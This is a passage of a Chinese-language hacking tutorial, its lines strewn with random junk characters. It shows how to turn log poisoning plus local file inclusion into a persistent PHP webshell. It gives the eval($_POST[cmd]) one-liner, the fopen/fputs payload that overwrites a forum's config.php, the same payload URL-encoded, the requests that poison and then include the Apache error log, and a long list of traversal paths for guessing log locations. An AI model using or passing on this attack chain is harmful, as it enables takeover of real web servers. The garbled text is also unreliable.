因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
W+ J( ]3 U# s& W# d! k
3 f* p! f+ l& \# Y% O5 E9 U比如还是这句一句话木马 . k+ X% S6 r" F
<?eval($_POST[cmd]);?> : L( f+ L) K% O9 N4 b7 F& A
0 s5 J( ^7 N& O6 h到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, & k8 }3 f4 k( U& e% p
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 7 ~/ Y! e8 @! [9 [" @
+ ?% B/ Q! U$ O# q& H
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
- `! h' ]( \2 k A- D5 \fclose($fp);?> //在config.php里写入一句木马语句 6 {: ~; ?, I, B5 Y7 f/ Q \
. [3 U" r; | L9 N/ E% b0 J我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 1 [) ~2 x- k+ |" X/ {2 i5 Y# G! i
转换为
& ?5 U: @- f: Z+ {%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F % q a; X: ?. y! y+ S3 q
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp - i8 A8 C6 i3 I5 d& }# O
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
. @7 Q5 [& P; rfclose%28%24fp%29%3B%3F%3E ' g v5 q' W) z) d, v+ _
我们提交
9 r% ]- T/ R& f5 A Jhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww " K# Q$ W- a) \; `
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
~+ T( k8 o& T l/ _! g%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
( H; S9 S& H& T! G' w! j6 lcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
4 O# D6 ^) c1 M# F+ t- i& u( Q, h$ J' j5 z2 c/ {9 d& N
这样就错误日志里就记录下了这行写入webshell的代码。
2 n3 l3 d4 _. s9 V+ a我们再来包含日志,提交
7 V# V" \ S2 r- ?http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
1 Q* R; x- F# F; j; Q1 @" j0 v: G
# [0 e! }3 m& t; K' j' F% T$ W这样webshell就写入成功了,config.php里就写入一句木马语句
* ]+ n7 [/ S* p2 l9 G: o; ^OK. ; ]1 m: ^; e# R' L, J7 w. @. N
http://www.xxx.com/forum/config.php这个就成了我们的webshell 0 |- v- [1 T& R9 ~
直接用lanker的客户端一连,主机就是你的了。 7 C) Z2 N; y) E- O: x" @) D9 x4 k' M
7 |# W: D: M- a5 l$ [
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
7 E, `; g- L6 j( H3 r+ T
$ v" e$ M7 q8 g. U其他的日志路径,你可以去猜,也可以参照这里。
7 m$ H# E# ~* u# d; D3 Y% g% S../../../../../../../../../../var/log/httpd/access_log
( }( v* n4 _# j3 l& p! `../../../../../../../../../../var/log/httpd/error_log ( ?( n# k+ g* O' h( \! ?3 @ L
../apache/logs/error.log 6 t. ^$ J/ Q, T6 E7 k: T) g' W0 @( w
../apache/logs/access.log
& f( T6 A1 i6 `% @1 B+ }5 D../../apache/logs/error.log 9 Y% o' R8 K4 k6 V% m- x
../../apache/logs/access.log + v6 ]/ F* g q* ]5 y! K; E1 C
../../../apache/logs/error.log * z) \( E- H# [% Z! V
../../../apache/logs/access.log
4 L* I8 R, |% X; F../../../../../../../../../../etc/httpd/logs/acces_log 3 I1 W A) Q/ M: `: U+ x4 A
../../../../../../../../../../etc/httpd/logs/acces.log 5 ?+ q' Y* m& W; d1 D
../../../../../../../../../../etc/httpd/logs/error_log
3 w8 H0 v( ~# G8 G2 f. R../../../../../../../../../../etc/httpd/logs/error.log
# P, V1 I# |3 {/ t5 _( ~../../../../../../../../../../var/www/logs/access_log 3 o9 E8 Y D& @
../../../../../../../../../../var/www/logs/access.log + W0 J8 r |# b1 u
../../../../../../../../../../usr/local/apache/logs/access_log
+ n- z6 G. w5 W- q& w1 `. X8 Z# k../../../../../../../../../../usr/local/apache/logs/access.log % e# B7 v; ~ o3 f6 P" Q6 ?, j
../../../../../../../../../../var/log/apache/access_log
) q) }, N" T) M( i3 B0 [: @../../../../../../../../../../var/log/apache/access.log
! \8 A( O- I9 m/ I../../../../../../../../../../var/log/access_log 7 E' Y. [2 j8 {/ N. w2 L# D8 Z
../../../../../../../../../../var/www/logs/error_log
/ t: }2 p [. j9 b1 d# U../../../../../../../../../../var/www/logs/error.log
& {5 ], s- \4 {" L../../../../../../../../../../usr/local/apache/logs/error_log
, L. n% c& u3 T0 V+ ^( G Q../../../../../../../../../../usr/local/apache/logs/error.log % O& _1 q: |; G1 l$ R
../../../../../../../../../../var/log/apache/error_log 2 s$ r" T4 m# K! F( {
../../../../../../../../../../var/log/apache/error.log
% W9 A0 d. @" f D/ F9 |8 j: a. |../../../../../../../../../../var/log/access_log 6 O4 `" P$ }% w7 e
../../../../../../../../../../var/log/error_log
- G% C* V( P+ T) @4 H/var/log/httpd/access_log 0 s, E0 m; J4 s, C* t
/var/log/httpd/error_log
1 I% O& E# V! y" X../apache/logs/error.log 7 I" N8 X$ G5 g* G
../apache/logs/access.log ! d0 V+ j# H9 X; j. r
../../apache/logs/error.log . ^2 @! f& h# d: d5 ^0 K5 G
../../apache/logs/access.log
& X) b! ]& b3 [: {9 S. N% c../../../apache/logs/error.log 0 B# P# t" Q0 \* M8 G+ c
../../../apache/logs/access.log
) m2 i8 o6 L6 m, C5 k. H/etc/httpd/logs/acces_log ) E9 S r* u! O
/etc/httpd/logs/acces.log
+ x8 }* `" U$ a: h/etc/httpd/logs/error_log 0 ^# J3 S% l% l. f
/etc/httpd/logs/error.log 9 |/ T, \$ X0 r. a& L
/var/www/logs/access_log
2 W, I* a3 X( K1 W+ [' S/ |/var/www/logs/access.log $ G# Z9 M5 W6 r! ~3 U" z4 q2 P
/usr/local/apache/logs/access_log # b. B0 q9 Z- m" l- E" A
/usr/local/apache/logs/access.log
6 G% ]% d+ }/ ?! h- z% F/var/log/apache/access_log 3 R2 j# X4 @0 K. `% K% r
/var/log/apache/access.log
! m1 ^# ]0 E! S) T/var/log/access_log : A* s" I3 ~) {. I% y4 p/ _
/var/www/logs/error_log ! w* W% t/ m' v0 D
/var/www/logs/error.log
( [0 S6 T, H: ?5 L/usr/local/apache/logs/error_log
0 F) H0 V9 H5 j# o/usr/local/apache/logs/error.log
0 ]9 N$ n1 |/ F/ }/ L/var/log/apache/error_log
; Z' o4 C9 E+ V/ [. ^/var/log/apache/error.log & t7 A" N) _9 V. y* w- M0 d8 @4 r3 ~
/var/log/access_log
" u0 w* Q: m& w9 r9 ?% U/var/log/error_log |